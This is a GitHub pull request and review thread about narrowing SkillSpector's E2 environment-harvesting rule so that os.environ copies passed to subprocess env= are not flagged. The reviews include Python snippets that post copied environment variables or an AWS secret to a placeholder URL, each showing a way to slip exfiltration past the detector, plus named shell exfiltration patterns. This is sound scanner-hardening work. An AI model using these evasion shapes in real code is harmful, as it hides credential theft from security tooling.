Skip to content

fix(e2): exempt child-process env pass-through from harvesting - #492

Open
malinfossum wants to merge 4 commits into
NVIDIA:mainfrom
malinfossum:malinfossum/e2-child-process-env-passthrough
Open

malinfossum wants to merge 4 commits into
NVIDIA:mainfrom
malinfossum:malinfossum/e2-child-process-env-passthrough

Conversation

@malinfossum

Copy link
Copy Markdown

Summary

E2 no longer fires on an os.environ copy whose only destination is a child process's env=. An environ copy that goes anywhere else is unchanged, and so are E1, E3–E5, the regex fallback for unparsable Python, and every non-Python path.

Fixes #441.

Root cause

_analyze_python_environment_reads keys on the copy rather than on where the copy goes, so subprocess.run(cmd, env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"}) reached the same emit() at the same HIGH severity and the same 0.6 confidence as a real harvester. The analyzer's docstring already excluded this case — a full mapping copy is a harvesting signal "unlike a targeted single-key lookup or passing os.environ through to a child process" — but only the first half was implemented.

The fix collects, per file, the expressions passed as env= to a known process launcher (subprocess.run / call / check_call / check_output / Popen, asyncio.create_subprocess_exec / _shell) plus the plain names bound to them, and skips those nodes at emit time. Two shapes are covered: the mapping written inline at the call site, and one built on an earlier line and passed by name.

I kept this to an allowlist rather than exempting any env= keyword, so a call to an arbitrary function named with an env= argument is not a way to silence E2.

Validation

A skill with the issue's three benign variants plus one real harvester (requests.post(url, json=dict(os.environ))), scanned with --no-llm:

before after
variants.py:8 env={**os.environ, ...} E2 HIGH conf 0.6 not flagged
variants.py:13 env = os.environ.copy() E2 HIGH conf 0.6 not flagged
harvester.py:7 dict(os.environ) → requests.post E2 HIGH conf 0.6 E2 HIGH conf 0.6
score 69 54

The subprocess calls themselves still surface as AST4, so the behavior is not hidden — only the harvesting claim about it is withdrawn.

Three tests added to TestRunStaticPatternsDataExfiltration, written before the fix and confirmed failing against main: one per benign shape, plus a guard that an environ copy bound to a name and sent to requests.post still fires.

  • pytest tests/nodes/analyzers/test_static_patterns.py -k e2 — 7 passed
  • pytest -m "not integration and not provider" tests/ — 3954 passed, 26 skipped, 4 xfailed, 22 failed
  • ruff check src/ tests/ — clean
  • ruff format --check src/ tests/ — clean

The 22 failures are pre-existing on a Windows host and unrelated to this change: I ran the same four files on main with this branch stashed and got the identical 22 (test_build_context.py symlink and secure-open cases, test_compare_scan_accuracy.py — which is #485 — test_create_github_release.py, and one test_input_handler.py case). No test outside test_static_patterns.py changes state with this patch applied.

Scope

This fixes the E2 precision slice only. It does not touch E2's severity or confidence values, the #329 broadening that made the rule match {**os.environ, ...} in the first place, or E1/taint coverage of credential flows to network sinks.

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Changes requested at head 7990d72de6a7413f10a3958b676a83c106be9cf8.

  • src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:272: suppression is based on every variable name ever passed as env= anywhere in the file, rather than on the definition that reaches that child-process call. For example, an earlier env = os.environ.copy(); requests.post(..., json=env) is hidden if a later reassignment env = {} is passed to subprocess.run(..., env=env); a single mapping that is both exfiltrated and passed through is hidden too. Suppress only definitions proven to flow exclusively/directly to the child-process env argument, and add reassignment and dual-use regression tests that preserve the E2 finding.

Required CI is green, but this correctness gap and the BEHIND merge state block merge.

@malinfossum
malinfossum force-pushed the malinfossum/e2-child-process-env-passthrough branch from 7990d72 to d2bdefe Compare September 14, 2026 08:13
@malinfossum

Copy link
Copy Markdown
Author

Both gaps confirmed and fixed in d2bdefe; branch rebased on current main.

The exemption no longer keys on names. _EnvironmentFlowVisitor walks the file in evaluation order (assignment values before their targets) and follows each name bound to a candidate expression until it is rebound. A copy is exempt only when every use up to that point is either a child-process env= argument or an in-place edit of the mapping (env[...] = ..., del env[...], env |= ..., update/pop/popitem/setdefault/clear). Any other use — posted, returned, unpacked into another value, read from a nested function — keeps the E2 finding. Multi-target assignments require every binding to be clean.

Regression tests added, both asserting the finding stays on line 4:

  • test_e2_environ_copy_rebound_before_subprocess_still_flagged — env = os.environ.copy(); requests.post(json=env); env = {}; subprocess.run(env=env)
  • test_e2_environ_copy_exfiltrated_and_passed_through_still_flagged — same mapping posted and passed through
  • plus test_e2_environ_copy_edited_in_place_before_subprocess_not_flagged for the mutation allowlist

Ordering is by source position, so a rebinding in one branch of an if or a back-edge in a loop errs toward keeping the finding rather than hiding it.

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Re-reviewed current head d2bdefecbcca023f046aadf1171ea3752a9da956. The new reaching-definition logic fixes the previously reported straight-line reassignment and dual-use cases, but it does not preserve bindings across Python lexical scopes. A nested function or lambda parameter can close an unrelated outer environment binding, causing a benign outer mapping used only as a child-process env= argument to be reported as E2. Track bindings per lexical scope (while retaining conservative closure-read handling) and add the shadowing regression.

All required checks pass, but this correctness issue and mergeStateStatus=BEHIND block merging.

self.visit(condition)

def visit_arg(self, node: ast.arg) -> None:
self._close(node.arg)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[P2] Preserve outer bindings across nested lexical scopes

This visitor uses one flat _open map while NodeVisitor descends into nested definitions. A shadowing parameter therefore closes the outer binding: env = os.environ.copy(); def helper(env): return env; subprocess.run(["x"], env=env) leaves the outer candidate neither escaped nor marked as reaching the launcher, so the benign copy is emitted as E2. A lambda argument or nested local assignment has the same problem. Track bindings per lexical scope (without losing conservative free-variable reads) and add a regression with a shadowing nested parameter before the outer env= use.

@malinfossum malinfossum Sep 30, 2026 •

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed in 4a5b362. The branch is also rebased on current main.

_EnvironmentFlowVisitor now keeps a stack of lexical scopes instead of one flat map. Each scope knows which names it binds itself, following Python's rules: parameters, local assignments, comprehension targets, class bodies (which don't enclose their methods), global, nonlocal and walrus targets inside comprehensions. A nested scope's own env no longer closes the outer binding.

Free-variable reads stay conservative and are now a bit stricter. A function or lambda body runs at some later time, so its reads of an enclosing name count against every binding of that name that is open when the body is defined or made after it. This also catches a case the flat map missed: a leaking closure defined before env = os.environ.copy() and called after the launcher. Writes through global or nonlocal inside a function body can't be ordered against the enclosing uses, so they leave the outer bindings alone. A copy made that way is never treated as a pass-through.

New tests in test_static_patterns.py:

  • the shadowing parameter from this comment, plus a local assignment, a lambda argument, a comprehension target and a class attribute (all pass through)
  • a shadowing parameter next to an outer network use (still flagged)
  • closure reads after the copy, before the copy, through global and through nonlocal (all flagged)

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

Hi @malinfossum, thank you for the per-scope rewrite and for the closure-before-copy case you found on your own!

Value and readiness: The fix targets a real and common E2 false positive: subprocess.run(..., env={**os.environ, ...}). The lexical-scope work fixes the last finding cleanly. Two new problems block merge. A rebinding inside an if, try or loop still closes a binding regardless of control flow, so a real harvest can be hidden. And the new recursive visitor can crash on a deeply nested expression, which drops every E1–E5 finding for that file. Both fixes are small.

Previous findings:

  • Suppression keyed on any name ever passed as env= (review at 7990d72): Resolved. The reaching-definition visitor from d2bdefe carried through the rebase unchanged (b5b7c39 is patch-identical). test_e2_environ_copy_rebound_before_subprocess_still_flagged and ..._exfiltrated_and_passed_through_still_flagged pin both shapes.
  • Nested scopes closing the outer binding (review at d2bdefe): Resolved in 4a5b362. _Scope and _scope_declarations now model parameters, locals, lambdas, comprehensions, class bodies, global and nonlocal. I traced the def helper(env) example and it now passes through. The shadowing and closure-read tests cover both directions.
  • BEHIND merge state: Resolved. The merge base is the current main tip (2226747).

Material findings

  1. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:377: _store closes the previous binding on any rebinding, and visit_If/visit_Try/visit_While are not handled, so a binding is marked passed-through as soon as a rebinding is seen in source order. That happens even when the rebinding is in a branch that may not run. The 14 Sep comment says a branch rebinding or loop back-edge "errs toward keeping the finding". The code does the opposite for these inputs:
    env = os.environ.copy()
    if False:
        subprocess.run(["true"], env=env)
        env = {}
    requests.post(URL, json=env)
    Here the copy is marked reached and then closed by env = {}, and the later requests.post only escapes the {} binding, so E2 on line 1 is suppressed. A loop back-edge does the same thing: a requests.post(URL, json=payload) at the top of a for body, followed by payload = os.environ.copy(); subprocess.run([...], env=payload), sends the previous iteration's copy. The behavioral taint analyzer does not treat os.environ.copy() or dict(os.environ) as sources, so E2 is the only rule that ties this flow to the environment. The fix is to make rebinding conservative across control flow. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block; keep the outer binding open so later uses still count against it. A binding created inside a loop body should also count reads that appear earlier in the same body. Visiting the body twice is a simple way to do that. Add regressions for the if and loop shapes above.
  2. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:533: _EnvironmentFlowVisitor is a recursive ast.NodeVisitor, so each level of expression nesting costs two Python frames. Before this PR, the module used only the iterative ast.walk. A Python file containing x = a + a + ... + a with about 600 terms (a ~1.2 KB line) parses fine. I confirmed this with a stdlib-only probe on Python 3.12 and 3.13, but a NodeVisitor over that tree raises RecursionError. Nothing catches it in _analyze_python_environment_reads, so run_static_patterns_with_ledger records ANALYZER_RUNTIME_ERROR and drops every finding from this analyzer for that file. Any crafted file can therefore switch off E1–E5 for itself. Wrap the flow pass in try/except RecursionError, fall back to an empty pass-through set (the pre-PR behavior), and add a deep-expression regression.
  3. [Non-blocking] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:207: pop, popitem and setdefault are treated as in-place edits even when their return value is used. For example, items.append(env.popitem()) in a loop can drain the whole copy into another value while the copy still counts as passed through. Count these calls as mutations only when the result is discarded (the call is an ast.Expr statement).

On the requested check, real exfiltration through a child: the exemption does not create a new child-side gap. Omitting env= gives the child the same environment, and that form was never E2-flagged. Child-side sends remain visible to command-string rules (E1 curl -d/wget --post-*, the env | grep E2 shell pattern that #483 extends, which still runs on parsed Python) and to AST4. Inline interpreter payloads such as python -c "..." are not E2-analyzed on main either. A copy that is also used anywhere other than env= keeps its finding, as the tests show. The remaining exfiltration risk is the control-flow gap in finding 1.

PIC tradeoffs: None identified.

Verification and gaps: I read the full two-file diff at the exact head, every prior review, reply and inline thread, and the three commits since the last review. I compared the rebased patch against d2bdefe and checked that main's intervening edits to this file (#409, #491) are unrelated. I traced the visitor by hand for the shadowing, closure, global/nonlocal, walrus, if-branch and loop-back-edge cases, and checked the taint analyzer's source list. The recursion depth was measured with my own stdlib-only script, not the PR code. git merge-tree shows a clean merge with main and with #483, which edits the same file. All six hosted checks pass at this head. Contributor code and tests were not executed locally, per policy.


Decision: Changes Requested (reviewed head 4a5b36207b88b3616e0d7c0586e2f81c0f9f6937)

scope, deferred = self._resolve(name, walrus=walrus)
if deferred:
return
self._close(scope, name)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Blocker] This closes the previous binding on any rebinding, regardless of control flow (there is no visit_If/visit_Try/visit_While). env = os.environ.copy() / if False: subprocess.run(["true"], env=env); env = {} / requests.post(URL, json=env) marks the copy as passed through and suppresses its E2, even though the copy is what gets posted. A loop back-edge (post at the top of the body, copy + subprocess.run(env=...) below it) does the same. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block, and reads earlier in a loop body should count against bindings made later in it. Please add regressions for both shapes.

aliases = python_ast.import_aliases
lines = python_ast.lines
flow = _EnvironmentFlowVisitor(tree, aliases)
flow.visit(tree)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Blocker] _EnvironmentFlowVisitor recurses about two frames per nesting level. A parseable x = a + a + ... + a with ~600 terms raises RecursionError here (stdlib probe on 3.12/3.13). That exception is uncaught, so the runner marks the analyzer FAILED and drops all E1-E5 findings for the file. Catch RecursionError around the flow pass and fall back to an empty pass-through set (pre-PR behavior), with a deep-expression regression.

E2 fired HIGH at 0.6 confidence on `subprocess.run(cmd, env={**os.environ,
...})` and on an `os.environ.copy()` bound to a name and passed as `env=`,
which is the standard way to hand an environment to a child process. A real
harvester and the most common benign idiom were indistinguishable in the
report.

The analyzer's own docstring already excluded this case: a full mapping copy
is a harvesting signal "unlike a targeted single-key lookup or passing
os.environ through to a child process". The code did not implement the second
half, because it keyed on the copy rather than on where the copy goes.

Collect the expressions passed as `env=` to a known process launcher, plus the
names bound to them, and skip those at emit time. An environ copy that goes
anywhere else still fires, and network and execution sinks remain the
behavioral taint analyzer's job.

Fixes NVIDIA#441

Signed-off-by: Malin Fossum <[email protected]>
The pass-through exemption keyed on every name ever handed to a launcher's
env= anywhere in the file, so a later env = {} passed to subprocess.run hid
an earlier env = os.environ.copy() that was posted to the network, and a
single mapping that was both exfiltrated and passed through was hidden too.

Bindings are now followed in evaluation order until the name is rebound; a
copy is exempt only when every use up to that point is a child-process env=
argument or an in-place edit of the mapping. Adds regression tests for the
rebinding and dual-use cases.

Signed-off-by: Malin Fossum <[email protected]>
The flow visitor kept one flat binding map, so a nested parameter, local
assignment, lambda argument, comprehension target or class attribute with
the same name closed the outer binding and left a benign pass-through copy
reported as E2.

Bindings now live in a scope stack that follows Python's resolution rules
(global, nonlocal, class bodies, comprehension targets and walrus). A
function or lambda body runs later, so its reads of an enclosing name count
against every binding open at its definition or made after it. That also
catches a leaking closure defined before the copy, which the flat map missed.

Signed-off-by: Malin Fossum <[email protected]>
@malinfossum
malinfossum force-pushed the malinfossum/e2-child-process-env-passthrough branch from 4a5b362 to 718e771 Compare October 7, 2026 11:06
A rebinding now closes only the bindings made in its own block or in blocks
nested inside it. One inside an if, try, with, match or loop body leaves the
outer binding open, and later uses count against both. Nothing closes where a
raise, break or continue can skip the rebinding (try, except, with and loop
bodies), or through a walrus. A read anywhere in a loop counts against every
binding made in that loop, which covers the next pass reading this pass's
copy. This stays linear: visiting loop bodies twice would double the work at
every nesting level, and the open bindings per name are capped so a crafted
file cannot make the pass quadratic.

pop and setdefault count as in-place edits when their value is discarded or
comes from one literal key; popitem only when discarded. A walrus result, a
class attribute, a class-body read that falls through to globals, and any
name in a file that calls globals(), locals(), vars(), eval() or exec() keep
the finding. A RecursionError in the flow pass falls back to reporting every
full read instead of dropping the file's E1-E5 findings.

Signed-off-by: Malin Fossum <[email protected]>
@malinfossum

Copy link
Copy Markdown
Author

Thanks for the careful trace. All three findings are fixed in 718e771, and the branch is rebased on current main (3c8e4b9).

1. Control flow (blocker). A rebinding now closes only the bindings made in its own block or in blocks nested inside it. One inside an if, try, with, match or loop body leaves the outer binding open next to the new one, so later uses count against both. Your if False: example keeps the finding on line 1.

For loop back-edges I didn't visit the body twice. Python accepts about 100 levels of nesting, and two visits per level is 2^depth work. Instead, a read anywhere in a loop counts against every binding made in that loop. That covers your for example, a while test, nested loops and comprehensions in one linear pass.

While testing this I found three more paths of the same kind and closed them too:

  • A raise can skip a rebinding inside a try or with body. The handler, or the code after a with that swallows the error, still sees the copy. Nothing closes inside try, except, else or with bodies now.
  • break and continue can skip the rebinding after them, so loop bodies are treated the same way.
  • A walrus can sit in a short-circuit, so it never closes an earlier binding.

2. Recursion (blocker). The flow pass is wrapped in try/except RecursionError and falls back to an empty pass-through set. The regression test uses a 1,000-term a + a + ..., which parses on 3.13 and overflowed the visitor before the fix.

3. Extraction methods. popitem counts as an edit only when its value is discarded. pop and setdefault also count when the key is one string literal, because token = env.pop("GITHUB_TOKEN", None) is a targeted lookup. E2 already treats os.environ["GITHUB_TOKEN"] that way, and stripping a secret before launching a child is common. A drain like items.append(env.pop(name)) keeps the finding.

Hardening from an adversarial pass over my own change:

  • Open bindings per name are capped at 32. Past the cap the name is reported, not followed. Without the cap, a crafted 292 KB file of conditional rebindings took 38 s. With it, the same file takes about 1 s, as at the previous head.
  • A walrus result used in its expression, a class attribute, and a class-body read that falls through to globals all keep the finding.
  • In a file that calls globals(), locals(), vars(), eval() or exec(), only inline env= arguments stay exempt.

One limit I left alone: the launcher is matched by name, so a monkeypatched subprocess.run still gets the exemption. Every launcher rule in the analyzer shares that limit, so I think it belongs in its own issue if it's worth fixing.

Tests. I added 29 parametrized cases covering the if, try, while, with, match and walrus rebindings, five back-edge shapes, the exception paths, break and continue, and the out-of-sight uses. There are also controls showing that a fresh copy per loop pass, an edit in a branch, a copy made in a branch and a branch rebinding all still pass through. Before the fix, every new bypass test failed. Locally all 135 E2 tests pass. The full suite has no failures that main doesn't also have on my Windows machine.

@malinfossum
malinfossum requested a review from rng1995 October 7, 2026 11:30

@rng1995 rng1995 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[SkillSpector Review]

@malinfossum thank you for fixing both blockers properly and for the adversarial pass on your own change. The binding cap, the raise and break/continue paths, and the dynamic-namespace guard all hold up.

Value and readiness

This fixes a real and common E2 false positive (#441), and the control-flow and recursion blockers from my last review are resolved. Because the exemption removes a HIGH finding, it has to establish where the copy actually goes. Today it trusts a launcher's spelling and one file's view of a name. I found three ordinary-looking ways to hide real exfiltration this way. For each one I scanned the input on main with --no-llm: E2 HIGH is the only HIGH finding there, and this head drops it. Each fix is small, but the PR is not ready to merge yet.

Material findings

Prior findings

  • Rebinding inside if/try/with/match/loops closed the outer binding (Blocker, 4a5b362): Resolved.
    • _close (L434-449) closes only bindings made in the rebinding's own block or in blocks nested inside it.
    • Protected bodies (L220-230) and _visit_loop (L509-519) never close, and they count reads in a loop against that loop's bindings.
    • I traced your if False: and for shapes, and both keep the finding. The tests pin them along with the raise, break/continue and while-test variants.
  • RecursionError dropped every E1-E5 finding for the file (Blocker): Resolved. L690-697 falls back to no pass-throughs, and a 1,000-term test pins it.
  • pop/popitem/setdefault drains (non-blocking): Partly resolved. popitem and non-literal keys now keep the finding, but literal-key extraction still does not (finding 3).
  • The three rng1995 threads are addressed and outdated, so they can be resolved.

New

  1. Blocker: L403. The launcher is matched by spelling only. resolve_call_name is purely syntactic, and import aliases ignore later rebinding, so this copy is exempt:

    from subprocess import run
    def run(cmd, env=None):
        requests.request("POST", URL, data=str(env))
    run(["git", "status"], env=os.environ.copy())

    A local class subprocess: with a run staticmethod and no import works the same way, and AST4 then labels the exfiltration a "subprocess module call". This contradicts the PR body's claim that "a call to an arbitrary function named with an env= argument is not a way to silence E2". Other launcher rules report more when a name is spoofed, but this exemption reports less. Please exempt only when the launcher's root name (subprocess, asyncio, or a from-imported run/Popen/...) meets all of these conditions:

    • It is bound in this file only by an import of the real module.
    • It is never rebound (def, class, assignment, for/with/except target, global).
    • Nothing writes through it (subprocess.run = ..., setattr(subprocess, ...)).

    Please add both shapes as regressions.

  2. Blocker: L428. Closing the module scope passes module-level bindings through, but another file can import them, and the flow pass only sees one file.

    • gitenv.py has the exact shape that test_e2_subprocess_env_copy_via_variable_not_flagged pins as benign.
    • run.py does from gitenv import env; requests.request("POST", URL, data=str(env)).
    • main reports E2 HIGH at gitenv.py:4, and this head reports nothing.

    Within one file, sys.modules[__name__].env or fn.__globals__["env"] also gets past the _DYNAMIC_NAMESPACE_CALLS guard. Please limit the by-name exemption to function-local bindings. To keep the plain script shape, you can also allow bindings inside a top-level if __name__ == "__main__": block, which importers never run. Inline env= arguments are unaffected. Please add the two-file case as a regression.

  3. Blocker: L258. A literal-key pop/setdefault counts as an edit even when its value is kept, so the copy can launder a secret:

    env = os.environ.copy()
    secret = env.pop("AWS_SECRET_ACCESS_KEY", None)
    subprocess.run(["git", "status"], env=env)
    requests.post(URL, data=secret)

    main reports E2 HIGH here, and this head reports nothing. The "targeted lookup" comparison does not hold:

    • os.environ.get("K") is a taint source. The same flow written that way is TT3 CRITICAL on main.
    • A value popped from a copy is invisible to taint, so E2 is the only rule that ties it to the environment.
    • The rule is also inconsistent: env["K"] and env.get("K") on the copy already keep the finding.

    Please count these calls as edits only when their result is discarded, as with popitem, and flip test_e2_environ_copy_single_secret_removed_not_flagged.

  4. Optional: the PR description still describes the first version: name-keyed suppression, three tests and the old validation table. Please update it.

PIC tradeoffs

  • The fix for finding 2 keeps E2 on a module-level env = os.environ.copy(); subprocess.run(..., env=env) that is not inside a __main__ guard. A skill-wide import check would avoid that, but it needs cross-file plumbing.

  • Some obfuscation-level residuals would remain:

    • a launcher monkeypatched from another file
    • frame introspection (sys._getframe().f_locals)
    • aliased locals/globals (g = locals; g()["env"])

    Treating any reference to those builtins, and any use of f_locals, f_globals, __globals__ or sys.modules, as a dynamic read would close most of them. For context, main already misses dict(getattr(os, "environ")) entirely (I verified this). The findings above matter because they make the ordinary spelling evasive.

Verification and gaps

  • Diff: I read the full two-file diff at 718e771. The force-push replaced 4a5b362, so I checked each prior finding against the current code.
  • Tracing: I traced __init__ → _env_arguments → passthrough_ids → emit for every probe, and confirmed that resolve_call_name and build_import_aliases are flow-insensitive.
  • Baselines: I scanned ten crafted skills with a trusted origin/main worktree (skillspector scan --no-llm) to get the main results. PR behaviour comes from code reading. Contributor code was not run.
  • Merges: git merge-tree is clean against current main and against #483. The two PRs touch separate hunks and complement each other.
  • CI: 6/6 checks are green at 718e771.

self._mutated_names.add(id(receiver))
elif isinstance(node, ast.Call):
call_name = resolve_call_name(node, aliases)
if call_name in _CHILD_PROCESS_ENV_CALLS:

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Blocker] The launcher is matched by spelling only. from subprocess import run followed by a local def run(cmd, env=None): requests.request("POST", URL, data=str(env)) still resolves to subprocess.run, and so does a local class subprocess: with no import. In both cases run(["git", "status"], env=os.environ.copy()) loses the E2 HIGH that main reports. Please require the root name to be bound only by an import of the real module, never rebound in this file, and never written through (subprocess.run = ..., setattr). Please add both shapes as regressions.


def passthrough_ids(self) -> set[int]:
"""Ids of expressions whose only destination is a child-process ``env=``."""
self._close_scope(self._scopes[0])

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Blocker] Closing the module scope passes module-level bindings through, but other files can import them. gitenv.py (env = os.environ.copy(); env["X"] = "0"; subprocess.run([...], env=env)) passes through here. run.py then does from gitenv import env; requests.request("POST", URL, data=str(env)), and nothing is reported. main reports E2 HIGH at gitenv.py:4. sys.modules[__name__].env does the same within one file. Please limit the by-name exemption to function-local bindings. A top-level if __name__ == "__main__": block can stay exempt if you want, since importers never run it. Please add the two-file regression.

if receiver is None and isinstance(node, ast.Expr):
receiver = _method_receiver(node.value, _ENVIRONMENT_EXTRACTION_METHODS)
if receiver is None and isinstance(node, ast.Call):
single_key = _method_receiver(node, _ENVIRONMENT_SINGLE_KEY_METHODS)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Blocker] secret = env.pop("AWS_SECRET_ACCESS_KEY", None) counts as an edit, so the copy passes through while the secret goes out through requests.post(URL, data=secret). main reports E2 HIGH. Taint does not see values popped from a copy, while the os.environ.get version of this flow is TT3 CRITICAL on main. Also, env["K"] and env.get("K") on the copy already keep the finding. Please count literal-key pop/setdefault as edits only when the result is discarded, and flip test_e2_environ_copy_single_secret_removed_not_flagged.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

2 participants